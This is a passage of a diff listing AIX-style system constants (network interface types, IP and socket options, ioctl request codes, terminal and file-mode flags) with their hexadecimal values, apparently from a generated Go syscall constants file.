-+ IFT_V35 = 0x2d
-+ IFT_VIPA = 0x37
-+ IFT_X25 = 0x5
-+ IFT_X25DDN = 0x4
-+ IFT_X25PLE = 0x28
-+ IFT_XETHER = 0x1a
-+ IGNBRK = 0x1
-+ IGNCR = 0x80
-+ IGNPAR = 0x4
-+ IMAXBEL = 0x10000
-+ INLCR = 0x40
-+ INPCK = 0x10
-+ IN_CLASSA_HOST = 0xffffff
-+ IN_CLASSA_MAX = 0x80
-+ IN_CLASSA_NET = 0xff000000
-+ IN_CLASSA_NSHIFT = 0x18
-+ IN_CLASSB_HOST = 0xffff
-+ IN_CLASSB_MAX = 0x10000
-+ IN_CLASSB_NET = 0xffff0000
-+ IN_CLASSB_NSHIFT = 0x10
-+ IN_CLASSC_HOST = 0xff
-+ IN_CLASSC_NET = 0xffffff00
-+ IN_CLASSC_NSHIFT = 0x8
-+ IN_CLASSD_HOST = 0xfffffff
-+ IN_CLASSD_NET = 0xf0000000
-+ IN_CLASSD_NSHIFT = 0x1c
-+ IN_LOOPBACKNET = 0x7f
-+ IN_USE = 0x1
-+ IPPROTO_AH = 0x33
-+ IPPROTO_BIP = 0x53
-+ IPPROTO_DSTOPTS = 0x3c
-+ IPPROTO_EGP = 0x8
-+ IPPROTO_EON = 0x50
-+ IPPROTO_ESP = 0x32
-+ IPPROTO_FRAGMENT = 0x2c
-+ IPPROTO_GGP = 0x3
-+ IPPROTO_GIF = 0x8c
-+ IPPROTO_GRE = 0x2f
-+ IPPROTO_HOPOPTS = 0x0
-+ IPPROTO_ICMP = 0x1
-+ IPPROTO_ICMPV6 = 0x3a
-+ IPPROTO_IDP = 0x16
-+ IPPROTO_IGMP = 0x2
-+ IPPROTO_IP = 0x0
-+ IPPROTO_IPIP = 0x4
-+ IPPROTO_IPV6 = 0x29
-+ IPPROTO_LOCAL = 0x3f
-+ IPPROTO_MAX = 0x100
-+ IPPROTO_MH = 0x87
-+ IPPROTO_NONE = 0x3b
-+ IPPROTO_PUP = 0xc
-+ IPPROTO_QOS = 0x2d
-+ IPPROTO_RAW = 0xff
-+ IPPROTO_ROUTING = 0x2b
-+ IPPROTO_RSVP = 0x2e
-+ IPPROTO_SCTP = 0x84
-+ IPPROTO_TCP = 0x6
-+ IPPROTO_TP = 0x1d
-+ IPPROTO_UDP = 0x11
-+ IPV6_ADDRFORM = 0x16
-+ IPV6_ADDR_PREFERENCES = 0x4a
-+ IPV6_ADD_MEMBERSHIP = 0xc
-+ IPV6_AIXRAWSOCKET = 0x39
-+ IPV6_CHECKSUM = 0x27
-+ IPV6_DONTFRAG = 0x2d
-+ IPV6_DROP_MEMBERSHIP = 0xd
-+ IPV6_DSTOPTS = 0x36
-+ IPV6_FLOWINFO_FLOWLABEL = 0xffffff
-+ IPV6_FLOWINFO_PRIFLOW = 0xfffffff
-+ IPV6_FLOWINFO_PRIORITY = 0xf000000
-+ IPV6_FLOWINFO_SRFLAG = 0x10000000
-+ IPV6_FLOWINFO_VERSION = 0xf0000000
-+ IPV6_HOPLIMIT = 0x28
-+ IPV6_HOPOPTS = 0x34
-+ IPV6_JOIN_GROUP = 0xc
-+ IPV6_LEAVE_GROUP = 0xd
-+ IPV6_MIPDSTOPTS = 0x36
-+ IPV6_MULTICAST_HOPS = 0xa
-+ IPV6_MULTICAST_IF = 0x9
-+ IPV6_MULTICAST_LOOP = 0xb
-+ IPV6_NEXTHOP = 0x30
-+ IPV6_NOPROBE = 0x1c
-+ IPV6_PATHMTU = 0x2e
-+ IPV6_PKTINFO = 0x21
-+ IPV6_PKTOPTIONS = 0x24
-+ IPV6_PRIORITY_10 = 0xa000000
-+ IPV6_PRIORITY_11 = 0xb000000
-+ IPV6_PRIORITY_12 = 0xc000000
-+ IPV6_PRIORITY_13 = 0xd000000
-+ IPV6_PRIORITY_14 = 0xe000000
-+ IPV6_PRIORITY_15 = 0xf000000
-+ IPV6_PRIORITY_8 = 0x8000000
-+ IPV6_PRIORITY_9 = 0x9000000
-+ IPV6_PRIORITY_BULK = 0x4000000
-+ IPV6_PRIORITY_CONTROL = 0x7000000
-+ IPV6_PRIORITY_FILLER = 0x1000000
-+ IPV6_PRIORITY_INTERACTIVE = 0x6000000
-+ IPV6_PRIORITY_RESERVED1 = 0x3000000
-+ IPV6_PRIORITY_RESERVED2 = 0x5000000
-+ IPV6_PRIORITY_UNATTENDED = 0x2000000
-+ IPV6_PRIORITY_UNCHARACTERIZED = 0x0
-+ IPV6_RECVDSTOPTS = 0x38
-+ IPV6_RECVHOPLIMIT = 0x29
-+ IPV6_RECVHOPOPTS = 0x35
-+ IPV6_RECVHOPS = 0x22
-+ IPV6_RECVIF = 0x1e
-+ IPV6_RECVPATHMTU = 0x2f
-+ IPV6_RECVPKTINFO = 0x23
-+ IPV6_RECVRTHDR = 0x33
-+ IPV6_RECVSRCRT = 0x1d
-+ IPV6_RECVTCLASS = 0x2a
-+ IPV6_RTHDR = 0x32
-+ IPV6_RTHDRDSTOPTS = 0x37
-+ IPV6_RTHDR_TYPE_0 = 0x0
-+ IPV6_RTHDR_TYPE_2 = 0x2
-+ IPV6_SENDIF = 0x1f
-+ IPV6_SRFLAG_LOOSE = 0x0
-+ IPV6_SRFLAG_STRICT = 0x10000000
-+ IPV6_TCLASS = 0x2b
-+ IPV6_TOKEN_LENGTH = 0x40
-+ IPV6_UNICAST_HOPS = 0x4
-+ IPV6_USE_MIN_MTU = 0x2c
-+ IPV6_V6ONLY = 0x25
-+ IPV6_VERSION = 0x60000000
-+ IP_ADDRFORM = 0x16
-+ IP_ADD_MEMBERSHIP = 0xc
-+ IP_ADD_SOURCE_MEMBERSHIP = 0x3c
-+ IP_BLOCK_SOURCE = 0x3a
-+ IP_BROADCAST_IF = 0x10
-+ IP_CACHE_LINE_SIZE = 0x80
-+ IP_DEFAULT_MULTICAST_LOOP = 0x1
-+ IP_DEFAULT_MULTICAST_TTL = 0x1
-+ IP_DF = 0x4000
-+ IP_DHCPMODE = 0x11
-+ IP_DONTFRAG = 0x19
-+ IP_DROP_MEMBERSHIP = 0xd
-+ IP_DROP_SOURCE_MEMBERSHIP = 0x3d
-+ IP_FINDPMTU = 0x1a
-+ IP_HDRINCL = 0x2
-+ IP_INC_MEMBERSHIPS = 0x14
-+ IP_INIT_MEMBERSHIP = 0x14
-+ IP_MAXPACKET = 0xffff
-+ IP_MF = 0x2000
-+ IP_MSS = 0x240
-+ IP_MULTICAST_HOPS = 0xa
-+ IP_MULTICAST_IF = 0x9
-+ IP_MULTICAST_LOOP = 0xb
-+ IP_MULTICAST_TTL = 0xa
-+ IP_OPT = 0x1b
-+ IP_OPTIONS = 0x1
-+ IP_PMTUAGE = 0x1b
-+ IP_RECVDSTADDR = 0x7
-+ IP_RECVIF = 0x14
-+ IP_RECVIFINFO = 0xf
-+ IP_RECVINTERFACE = 0x20
-+ IP_RECVMACHDR = 0xe
-+ IP_RECVOPTS = 0x5
-+ IP_RECVRETOPTS = 0x6
-+ IP_RECVTTL = 0x22
-+ IP_RETOPTS = 0x8
-+ IP_SOURCE_FILTER = 0x48
-+ IP_TOS = 0x3
-+ IP_TTL = 0x4
-+ IP_UNBLOCK_SOURCE = 0x3b
-+ IP_UNICAST_HOPS = 0x4
-+ ISIG = 0x1
-+ ISTRIP = 0x20
-+ IUCLC = 0x800
-+ IXANY = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ I_FLUSH = 0x20005305
-+ LNOFLSH = 0x8000
-+ LOCK_EX = 0x2
-+ LOCK_NB = 0x4
-+ LOCK_SH = 0x1
-+ LOCK_UN = 0x8
-+ MADV_DONTNEED = 0x4
-+ MADV_NORMAL = 0x0
-+ MADV_RANDOM = 0x1
-+ MADV_SEQUENTIAL = 0x2
-+ MADV_SPACEAVAIL = 0x5
-+ MADV_WILLNEED = 0x3
-+ MAP_ANON = 0x10
-+ MAP_ANONYMOUS = 0x10
-+ MAP_FILE = 0x0
-+ MAP_FIXED = 0x100
-+ MAP_PRIVATE = 0x2
-+ MAP_SHARED = 0x1
-+ MAP_TYPE = 0xf0
-+ MAP_VARIABLE = 0x0
-+ MCAST_BLOCK_SOURCE = 0x40
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x3e
-+ MCAST_JOIN_SOURCE_GROUP = 0x42
-+ MCAST_LEAVE_GROUP = 0x3f
-+ MCAST_LEAVE_SOURCE_GROUP = 0x43
-+ MCAST_SOURCE_FILTER = 0x49
-+ MCAST_UNBLOCK_SOURCE = 0x41
-+ MCL_CURRENT = 0x100
-+ MCL_FUTURE = 0x200
-+ MSG_ANY = 0x4
-+ MSG_ARGEXT = 0x400
-+ MSG_BAND = 0x2
-+ MSG_COMPAT = 0x8000
-+ MSG_CTRUNC = 0x20
-+ MSG_DONTROUTE = 0x4
-+ MSG_EOR = 0x8
-+ MSG_HIPRI = 0x1
-+ MSG_MAXIOVLEN = 0x10
-+ MSG_MPEG2 = 0x80
-+ MSG_NONBLOCK = 0x4000
-+ MSG_NOSIGNAL = 0x100
-+ MSG_OOB = 0x1
-+ MSG_PEEK = 0x2
-+ MSG_TRUNC = 0x10
-+ MSG_WAITALL = 0x40
-+ MSG_WAITFORONE = 0x200
-+ MS_ASYNC = 0x10
-+ MS_EINTR = 0x80
-+ MS_INVALIDATE = 0x40
-+ MS_PER_SEC = 0x3e8
-+ MS_SYNC = 0x20
-+ NFDBITS = 0x40
-+ NL0 = 0x0
-+ NL1 = 0x4000
-+ NL2 = 0x8000
-+ NL3 = 0xc000
-+ NLDLY = 0x4000
-+ NOFLSH = 0x80
-+ NOFLUSH = 0x80000000
-+ OCRNL = 0x8
-+ OFDEL = 0x80
-+ OFILL = 0x40
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ ONLRET = 0x20
-+ ONOCR = 0x10
-+ ONOEOT = 0x80000
-+ OPOST = 0x1
-+ OXTABS = 0x40000
-+ O_ACCMODE = 0x23
-+ O_APPEND = 0x8
-+ O_CIO = 0x80
-+ O_CIOR = 0x800000000
-+ O_CLOEXEC = 0x800000
-+ O_CREAT = 0x100
-+ O_DEFER = 0x2000
-+ O_DELAY = 0x4000
-+ O_DIRECT = 0x8000000
-+ O_DIRECTORY = 0x80000
-+ O_DSYNC = 0x400000
-+ O_EFSOFF = 0x400000000
-+ O_EFSON = 0x200000000
-+ O_EXCL = 0x400
-+ O_EXEC = 0x20
-+ O_LARGEFILE = 0x4000000
-+ O_NDELAY = 0x8000
-+ O_NOCACHE = 0x100000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x1000000
-+ O_NONBLOCK = 0x4
-+ O_NONE = 0x3
-+ O_NSHARE = 0x10000
-+ O_RAW = 0x100000000
-+ O_RDONLY = 0x0
-+ O_RDWR = 0x2
-+ O_RSHARE = 0x1000
-+ O_RSYNC = 0x200000
-+ O_SEARCH = 0x20
-+ O_SNAPSHOT = 0x40
-+ O_SYNC = 0x10
-+ O_TRUNC = 0x200
-+ O_TTY_INIT = 0x0
-+ O_WRONLY = 0x1
-+ PARENB = 0x100
-+ PAREXT = 0x100000
-+ PARMRK = 0x8
-+ PARODD = 0x200
-+ PENDIN = 0x20000000
-+ PRIO_PGRP = 0x1
-+ PRIO_PROCESS = 0x0
-+ PRIO_USER = 0x2
-+ PROT_EXEC = 0x4
-+ PROT_NONE = 0x0
-+ PROT_READ = 0x1
-+ PROT_WRITE = 0x2
-+ PR_64BIT = 0x20
-+ PR_ADDR = 0x2
-+ PR_ARGEXT = 0x400
-+ PR_ATOMIC = 0x1
-+ PR_CONNREQUIRED = 0x4
-+ PR_FASTHZ = 0x5
-+ PR_INP = 0x40
-+ PR_INTRLEVEL = 0x8000
-+ PR_MLS = 0x100
-+ PR_MLS_1_LABEL = 0x200
-+ PR_NOEOR = 0x4000
-+ PR_RIGHTS = 0x10
-+ PR_SLOWHZ = 0x2
-+ PR_WANTRCVD = 0x8
-+ RLIMIT_AS = 0x6
-+ RLIMIT_CORE = 0x4
-+ RLIMIT_CPU = 0x0
-+ RLIMIT_DATA = 0x2
-+ RLIMIT_FSIZE = 0x1
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x9
-+ RLIMIT_RSS = 0x5
-+ RLIMIT_STACK = 0x3
-+ RLIM_INFINITY = 0x7fffffffffffffff
-+ RTAX_AUTHOR = 0x6
-+ RTAX_BRD = 0x7
-+ RTAX_DST = 0x0
-+ RTAX_GATEWAY = 0x1
-+ RTAX_GENMASK = 0x3
-+ RTAX_IFA = 0x5
-+ RTAX_IFP = 0x4
-+ RTAX_MAX = 0x8
-+ RTAX_NETMASK = 0x2
-+ RTA_AUTHOR = 0x40
-+ RTA_BRD = 0x80
-+ RTA_DOWNSTREAM = 0x100
-+ RTA_DST = 0x1
-+ RTA_GATEWAY = 0x2
-+ RTA_GENMASK = 0x8
-+ RTA_IFA = 0x20
-+ RTA_IFP = 0x10
-+ RTA_NETMASK = 0x4
-+ RTC_IA64 = 0x3
-+ RTC_POWER = 0x1
-+ RTC_POWER_PC = 0x2
-+ RTF_ACTIVE_DGD = 0x1000000
-+ RTF_BCE = 0x80000
-+ RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_BUL = 0x2000
-+ RTF_CLONE = 0x10000
-+ RTF_CLONED = 0x20000
-+ RTF_CLONING = 0x100
-+ RTF_DONE = 0x40
-+ RTF_DYNAMIC = 0x10
-+ RTF_FREE_IN_PROG = 0x4000000
-+ RTF_GATEWAY = 0x2
-+ RTF_HOST = 0x4
-+ RTF_LLINFO = 0x400
-+ RTF_LOCAL = 0x200000
-+ RTF_MASK = 0x80
-+ RTF_MODIFIED = 0x20
-+ RTF_MULTICAST = 0x800000
-+ RTF_PERMANENT6 = 0x8000000
-+ RTF_PINNED = 0x100000
-+ RTF_PROTO1 = 0x8000
-+ RTF_PROTO2 = 0x4000
-+ RTF_PROTO3 = 0x40000
-+ RTF_REJECT = 0x8
-+ RTF_SMALLMTU = 0x40000
-+ RTF_STATIC = 0x800
-+ RTF_STOPSRCH = 0x2000000
-+ RTF_UNREACHABLE = 0x10000000
-+ RTF_UP = 0x1
-+ RTF_XRESOLVE = 0x200
-+ RTM_ADD = 0x1
-+ RTM_CHANGE = 0x3
-+ RTM_DELADDR = 0xd
-+ RTM_DELETE = 0x2
-+ RTM_EXPIRE = 0xf
-+ RTM_GET = 0x4
-+ RTM_GETNEXT = 0x11
-+ RTM_IFINFO = 0xe
-+ RTM_LOCK = 0x8
-+ RTM_LOSING = 0x5
-+ RTM_MISS = 0x7
-+ RTM_NEWADDR = 0xc
-+ RTM_OLDADD = 0x9
-+ RTM_OLDDEL = 0xa
-+ RTM_REDIRECT = 0x6
-+ RTM_RESOLVE = 0xb
-+ RTM_RTLOST = 0x10
-+ RTM_RTTUNIT = 0xf4240
-+ RTM_SAMEADDR = 0x12
-+ RTM_SET = 0x13
-+ RTM_VERSION = 0x2
-+ RTM_VERSION_GR = 0x4
-+ RTM_VERSION_GR_COMPAT = 0x3
-+ RTM_VERSION_POLICY = 0x5
-+ RTM_VERSION_POLICY_EXT = 0x6
-+ RTM_VERSION_POLICY_PRFN = 0x7
-+ RTV_EXPIRE = 0x4
-+ RTV_HOPCOUNT = 0x2
-+ RTV_MTU = 0x1
-+ RTV_RPIPE = 0x8
-+ RTV_RTT = 0x40
-+ RTV_RTTVAR = 0x80
-+ RTV_SPIPE = 0x10
-+ RTV_SSTHRESH = 0x20
-+ RUSAGE_CHILDREN = -0x1
-+ RUSAGE_SELF = 0x0
-+ RUSAGE_THREAD = 0x1
-+ SCM_RIGHTS = 0x1
-+ SHUT_RD = 0x0
-+ SHUT_RDWR = 0x2
-+ SHUT_WR = 0x1
-+ SIGMAX64 = 0xff
-+ SIGQUEUE_MAX = 0x20
-+ SIOCADDIFVIPA = 0x20006942
-+ SIOCADDMTU = -0x7ffb9690
-+ SIOCADDMULTI = -0x7fdf96cf
-+ SIOCADDNETID = -0x7fd796a9
-+ SIOCADDRT = -0x7fc78df6
-+ SIOCAIFADDR = -0x7fbf96e6
-+ SIOCATMARK = 0x40047307
-+ SIOCDARP = -0x7fb396e0
-+ SIOCDELIFVIPA = 0x20006943
-+ SIOCDELMTU = -0x7ffb968f
-+ SIOCDELMULTI = -0x7fdf96ce
-+ SIOCDELPMTU = -0x7fd78ff6
-+ SIOCDELRT = -0x7fc78df5
-+ SIOCDIFADDR = -0x7fd796e7
-+ SIOCDNETOPT = -0x3ffe9680
-+ SIOCDX25XLATE = -0x7fd7969b
-+ SIOCFIFADDR = -0x7fdf966d
-+ SIOCGARP = -0x3fb396da
-+ SIOCGETMTUS = 0x2000696f
-+ SIOCGETSGCNT = -0x3feb8acc
-+ SIOCGETVIFCNT = -0x3feb8acd
-+ SIOCGHIWAT = 0x40047301
-+ SIOCGIFADDR = -0x3fd796df
-+ SIOCGIFADDRS = 0x2000698c
-+ SIOCGIFBAUDRATE = -0x3fdf9669
-+ SIOCGIFBRDADDR = -0x3fd796dd
-+ SIOCGIFCONF = -0x3fef96bb
-+ SIOCGIFCONFGLOB = -0x3fef9670
-+ SIOCGIFDSTADDR = -0x3fd796de
-+ SIOCGIFFLAGS = -0x3fd796ef
-+ SIOCGIFGIDLIST = 0x20006968
-+ SIOCGIFHWADDR = -0x3fab966b
-+ SIOCGIFMETRIC = -0x3fd796e9
-+ SIOCGIFMTU = -0x3fd796aa
-+ SIOCGIFNETMASK = -0x3fd796db
-+ SIOCGIFOPTIONS = -0x3fd796d6
-+ SIOCGISNO = -0x3fd79695
-+ SIOCGLOADF = -0x3ffb967e
-+ SIOCGLOWAT = 0x40047303
-+ SIOCGNETOPT = -0x3ffe96a5
-+ SIOCGNETOPT1 = -0x3fdf967f
-+ SIOCGNMTUS = 0x2000696e
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSIZIFCONF = 0x4004696a
-+ SIOCGSRCFILTER = -0x3fe796cb
-+ SIOCGTUNEPHASE = -0x3ffb9676
-+ SIOCGX25XLATE = -0x3fd7969c
-+ SIOCIFATTACH = -0x7fdf9699
-+ SIOCIFDETACH = -0x7fdf969a
-+ SIOCIFGETPKEY = -0x7fdf969b
-+ SIOCIF_ATM_DARP = -0x7fdf9683
-+ SIOCIF_ATM_DUMPARP = -0x7fdf9685
-+ SIOCIF_ATM_GARP = -0x7fdf9682
-+ SIOCIF_ATM_IDLE = -0x7fdf9686
-+ SIOCIF_ATM_SARP = -0x7fdf9681
-+ SIOCIF_ATM_SNMPARP = -0x7fdf9687
-+ SIOCIF_ATM_SVC = -0x7fdf9684
-+ SIOCIF_ATM_UBR = -0x7fdf9688
-+ SIOCIF_DEVHEALTH = -0x7ffb966c
-+ SIOCIF_IB_ARP_INCOMP = -0x7fdf9677
-+ SIOCIF_IB_ARP_TIMER = -0x7fdf9678
-+ SIOCIF_IB_CLEAR_PINFO = -0x3fdf966f
-+ SIOCIF_IB_DEL_ARP = -0x7fdf967f
-+ SIOCIF_IB_DEL_PINFO = -0x3fdf9670
-+ SIOCIF_IB_DUMP_ARP = -0x7fdf9680
-+ SIOCIF_IB_GET_ARP = -0x7fdf967e
-+ SIOCIF_IB_GET_INFO = -0x3f879675
-+ SIOCIF_IB_GET_STATS = -0x3f879672
-+ SIOCIF_IB_NOTIFY_ADDR_REM = -0x3f87966a
-+ SIOCIF_IB_RESET_STATS = -0x3f879671
-+ SIOCIF_IB_RESIZE_CQ = -0x7fdf9679
-+ SIOCIF_IB_SET_ARP = -0x7fdf967d
-+ SIOCIF_IB_SET_PKEY = -0x7fdf967c
-+ SIOCIF_IB_SET_PORT = -0x7fdf967b
-+ SIOCIF_IB_SET_QKEY = -0x7fdf9676
-+ SIOCIF_IB_SET_QSIZE = -0x7fdf967a
-+ SIOCLISTIFVIPA = 0x20006944
-+ SIOCSARP = -0x7fb396e2
-+ SIOCSHIWAT = 0xffffffff80047300
-+ SIOCSIFADDR = -0x7fd796f4
-+ SIOCSIFADDRORI = -0x7fdb9673
-+ SIOCSIFBRDADDR = -0x7fd796ed
-+ SIOCSIFDSTADDR = -0x7fd796f2
-+ SIOCSIFFLAGS = -0x7fd796f0
-+ SIOCSIFGIDLIST = 0x20006969
-+ SIOCSIFMETRIC = -0x7fd796e8
-+ SIOCSIFMTU = -0x7fd796a8
-+ SIOCSIFNETDUMP = -0x7fd796e4
-+ SIOCSIFNETMASK = -0x7fd796ea
-+ SIOCSIFOPTIONS = -0x7fd796d7
-+ SIOCSIFSUBCHAN = -0x7fd796e5
-+ SIOCSISNO = -0x7fd79694
-+ SIOCSLOADF = -0x3ffb967d
-+ SIOCSLOWAT = 0xffffffff80047302
-+ SIOCSNETOPT = -0x7ffe96a6
-+ SIOCSPGRP = 0xffffffff80047308
-+ SIOCSX25XLATE = -0x7fd7969d
-+ SOCK_CONN_DGRAM = 0x6
-+ SOCK_DGRAM = 0x2
-+ SOCK_RAW = 0x3
-+ SOCK_RDM = 0x4
-+ SOCK_SEQPACKET = 0x5
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0xffff
-+ SOMAXCONN = 0x400
-+ SO_ACCEPTCONN = 0x2
-+ SO_AUDIT = 0x8000
-+ SO_BROADCAST = 0x20
-+ SO_CKSUMRECV = 0x800
-+ SO_DEBUG = 0x1
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_KEEPALIVE = 0x8
-+ SO_KERNACCEPT = 0x2000
-+ SO_LINGER = 0x80
-+ SO_NOMULTIPATH = 0x4000
-+ SO_NOREUSEADDR = 0x1000
-+ SO_OOBINLINE = 0x100
-+ SO_PEERID = 0x1009
-+ SO_RCVBUF = 0x1002
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_SNDBUF = 0x1001
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_TIMESTAMPNS = 0x100a
-+ SO_TYPE = 0x1008
-+ SO_USELOOPBACK = 0x40
-+ SO_USE_IFBUFS = 0x400
-+ S_BANDURG = 0x400
-+ S_EMODFMT = 0x3c000000
-+ S_ENFMT = 0x400
-+ S_ERROR = 0x100
-+ S_HANGUP = 0x200
-+ S_HIPRI = 0x2
-+ S_ICRYPTO = 0x80000
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFJOURNAL = 0x10000
-+ S_IFLNK = 0xa000
-+ S_IFMPX = 0x2200
-+ S_IFMT = 0xf000
-+ S_IFPDIR = 0x4000000
-+ S_IFPSDIR = 0x8000000
-+ S_IFPSSDIR = 0xc000000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFSYSEA = 0x30000000
-+ S_INPUT = 0x1
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_ITCB = 0x1000000
-+ S_ITP = 0x800000
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXACL = 0x2000000
-+ S_IXATTR = 0x40000
-+ S_IXGRP = 0x8
-+ S_IXINTERFACE = 0x100000
-+ S_IXMOD = 0x40000000
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
-+ S_MSG = 0x8
-+ S_OUTPUT = 0x4
-+ S_RDBAND = 0x20
-+ S_RDNORM = 0x10
-+ S_RESERVED1 = 0x20000
-+ S_RESERVED2 = 0x200000
-+ S_RESERVED3 = 0x400000
-+ S_RESERVED4 = 0x80000000
-+ S_RESFMT1 = 0x10000000
-+ S_RESFMT10 = 0x34000000
-+ S_RESFMT11 = 0x38000000
-+ S_RESFMT12 = 0x3c000000
-+ S_RESFMT2 = 0x14000000
-+ S_RESFMT3 = 0x18000000
-+ S_RESFMT4 = 0x1c000000
-+ S_RESFMT5 = 0x20000000
-+ S_RESFMT6 = 0x24000000
-+ S_RESFMT7 = 0x28000000
-+ S_RESFMT8 = 0x2c000000
-+ S_WRBAND = 0x80
-+ S_WRNORM = 0x40
-+ TAB0 = 0x0
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x540c
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCIFLUSH = 0x0
-+ TCIOFF = 0x2
-+ TCIOFLUSH = 0x2
-+ TCION = 0x3
-+ TCOFLUSH = 0x1
-+ TCOOFF = 0x0
-+ TCOON = 0x1
-+ TCP_24DAYS_WORTH_OF_SLOWTICKS = 0x3f4800
-+ TCP_ACLADD = 0x23
-+ TCP_ACLBIND = 0x26
-+ TCP_ACLCLEAR = 0x22
-+ TCP_ACLDEL = 0x24
-+ TCP_ACLDENY = 0x8
-+ TCP_ACLFLUSH = 0x21
-+ TCP_ACLGID = 0x1
-+ TCP_ACLLS = 0x25
-+ TCP_ACLSUBNET = 0x4
-+ TCP_ACLUID = 0x2
-+ TCP_CWND_DF = 0x16
-+ TCP_CWND_IF = 0x15
-+ TCP_DELAY_ACK_FIN = 0x2
-+ TCP_DELAY_ACK_SYN = 0x1
-+ TCP_FASTNAME = 0x101080a
-+ TCP_KEEPCNT = 0x13
-+ TCP_KEEPIDLE = 0x11
-+ TCP_KEEPINTVL = 0x12
-+ TCP_LSPRIV = 0x29
-+ TCP_LUID = 0x20
-+ TCP_MAXBURST = 0x8
-+ TCP_MAXDF = 0x64
-+ TCP_MAXIF = 0x64
-+ TCP_MAXSEG = 0x2
-+ TCP_MAXWIN = 0xffff
-+ TCP_MAXWINDOWSCALE = 0xe
-+ TCP_MAX_SACK = 0x4
-+ TCP_MSS = 0x5b4
-+ TCP_NODELAY = 0x1
-+ TCP_NODELAYACK = 0x14
-+ TCP_NOREDUCE_CWND_EXIT_FRXMT = 0x19
-+ TCP_NOREDUCE_CWND_IN_FRXMT = 0x18
-+ TCP_NOTENTER_SSTART = 0x17
-+ TCP_OPT = 0x19
-+ TCP_RFC1323 = 0x4
-+ TCP_SETPRIV = 0x27
-+ TCP_STDURG = 0x10
-+ TCP_TIMESTAMP_OPTLEN = 0xc
-+ TCP_UNSETPRIV = 0x28
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETSF = 0x5404
-+ TCSETSW = 0x5403
-+ TCXONC = 0x540b
-+ TIMER_ABSTIME = 0x3e7
-+ TIMER_MAX = 0x20
-+ TIOC = 0x5400
-+ TIOCCBRK = 0x2000747a
-+ TIOCCDTR = 0x20007478
-+ TIOCCONS = 0xffffffff80047462
-+ TIOCEXCL = 0x2000740d
-+ TIOCFLUSH = 0xffffffff80047410
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x40047400
-+ TIOCGETP = 0x40067408
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGSID = 0x40047448
-+ TIOCGSIZE = 0x40087468
-+ TIOCGWINSZ = 0x40087468
-+ TIOCHPCL = 0x20007402
-+ TIOCLBIC = 0xffffffff8004747e
-+ TIOCLBIS = 0xffffffff8004747f
-+ TIOCLGET = 0x4004747c
-+ TIOCLSET = 0xffffffff8004747d
-+ TIOCMBIC = 0xffffffff8004746b
-+ TIOCMBIS = 0xffffffff8004746c
-+ TIOCMGET = 0x4004746a
-+ TIOCMIWAIT = 0xffffffff80047464
-+ TIOCMODG = 0x40047403
-+ TIOCMODS = 0xffffffff80047404
-+ TIOCMSET = 0xffffffff8004746d
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_DTR = 0x2
-+ TIOCM_LE = 0x1
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_RTS = 0x4
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x20007471
-+ TIOCNXCL = 0x2000740e
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0xffffffff80047470
-+ TIOCPKT_DATA = 0x0
-+ TIOCPKT_DOSTOP = 0x20
-+ TIOCPKT_FLUSHREAD = 0x1
-+ TIOCPKT_FLUSHWRITE = 0x2
-+ TIOCPKT_NOSTOP = 0x10
-+ TIOCPKT_START = 0x8
-+ TIOCPKT_STOP = 0x4
-+ TIOCREMOTE = 0xffffffff80047469
-+ TIOCSBRK = 0x2000747b
-+ TIOCSDTR = 0x20007479
-+ TIOCSETC = 0xffffffff80067411
-+ TIOCSETD = 0xffffffff80047401
-+ TIOCSETN = 0xffffffff8006740a
-+ TIOCSETP = 0xffffffff80067409
-+ TIOCSLTC = 0xffffffff80067475
-+ TIOCSPGRP = 0xffffffff80047476
-+ TIOCSSIZE = 0xffffffff80087467
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0xffffffff80017472
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0xffffffff80087467
-+ TIOCUCNTL = 0xffffffff80047466
-+ TOSTOP = 0x10000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x3
-+ VDISCRD = 0xc
-+ VDSUSP = 0xa
-+ VEOF = 0x4
-+ VEOL = 0x5
